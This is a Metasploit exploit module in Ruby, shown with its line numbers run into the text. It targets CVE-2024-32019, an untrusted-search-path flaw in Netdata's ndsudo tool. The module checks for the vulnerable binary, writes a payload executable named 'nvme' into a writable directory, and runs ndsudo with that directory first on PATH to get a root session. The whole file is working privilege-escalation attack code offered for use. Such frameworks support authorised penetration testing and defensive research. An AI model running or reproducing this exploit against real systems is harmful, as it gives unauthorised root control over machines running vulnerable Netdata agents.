Path: blob/master/modules/exploits/linux/local/ndsudo_cve_2024_32019.rb
21089 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::Linux::Priv9include Msf::Post::Linux::System10include Msf::Post::Linux::Kernel11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Netdata ndsudo privilege escalation',20'Description' => %q{21The `ndsudo` is a tool shipped with Netdata Agent. The version v1.45.0 and below contain vulnerability, which allows an attacker to gain privilege escalation using `ndsudo` binary. The vulnerability is untrusted search path, when searching for additional binary files, such as `nvme`. An attacker can create malicious binary with same name and add the directory of this binary into `$PATH` variable. The `ndsudo` will trust the first occurence of this binary and execute it.22},23'License' => MSF_LICENSE,24'Author' => [25'msutovsky-r7', # msf module26'mia-0' # security researcher27],28'Platform' => [ 'linux' ],29'Arch' => [ ARCH_X86, ARCH_X64 ],30'SessionTypes' => [ 'shell', 'meterpreter' ],31'Targets' => [[ 'Auto', {} ]],32'Privileged' => true,33'References' => [34[ 'URL', 'https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93'],35[ 'CVE', '2024-32019']36],37'DisclosureDate' => '2024-04-12',38'DefaultTarget' => 0,39'Notes' => {40'Stability' => [CRASH_SAFE],41'Reliability' => [REPEATABLE_SESSION],42'SideEffects' => [IOC_IN_LOGS]43}44)45)4647register_advanced_options [48OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),49OptString.new('NdsudoPath', [ true, 'A path to ndsudo binary on the target system', '/usr/libexec/netdata/plugins.d/ndsudo'])50]51end5253def check54# could not find reasonable way to get version55return CheckCode::Safe('Vulnerable binary not detected, check NdsudoPath option') unless file?(datastore['NdsudoPath']) && executable?(datastore['NdsudoPath'])56return CheckCode::Unknown('Failed to run vulnerable binary, either binary is not ndsudo or user does not have right to execute ndsudo') unless cmd_exec(datastore['NdsudoPath']) == 'at least 2 parameters are needed, but 1 were given.'5758CheckCode::Appears('Vulnerable binary detected')59end6061def exploit62base_dir = datastore['WritableDir']63if !datastore['ForceExploit'] && is_root?64fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override')65end6667unless writable? base_dir68fail_with(Failure::BadConfig, "#{base_dir} is not writable")69end7071executable_path = "#{base_dir}/nvme"72vprint_status("Creating malicious file at #{executable_path}")7374fail_with(Failure::PayloadFailed, 'Failed to upload malicious binary') unless upload_and_chmodx(executable_path, generate_payload_exe)7576register_files_for_cleanup(executable_path)7778vprint_status('Executing..')7980cmd_exec("PATH=#{base_dir}:$PATH '#{datastore['NdsudoPath']}' nvme-list")81end82end838485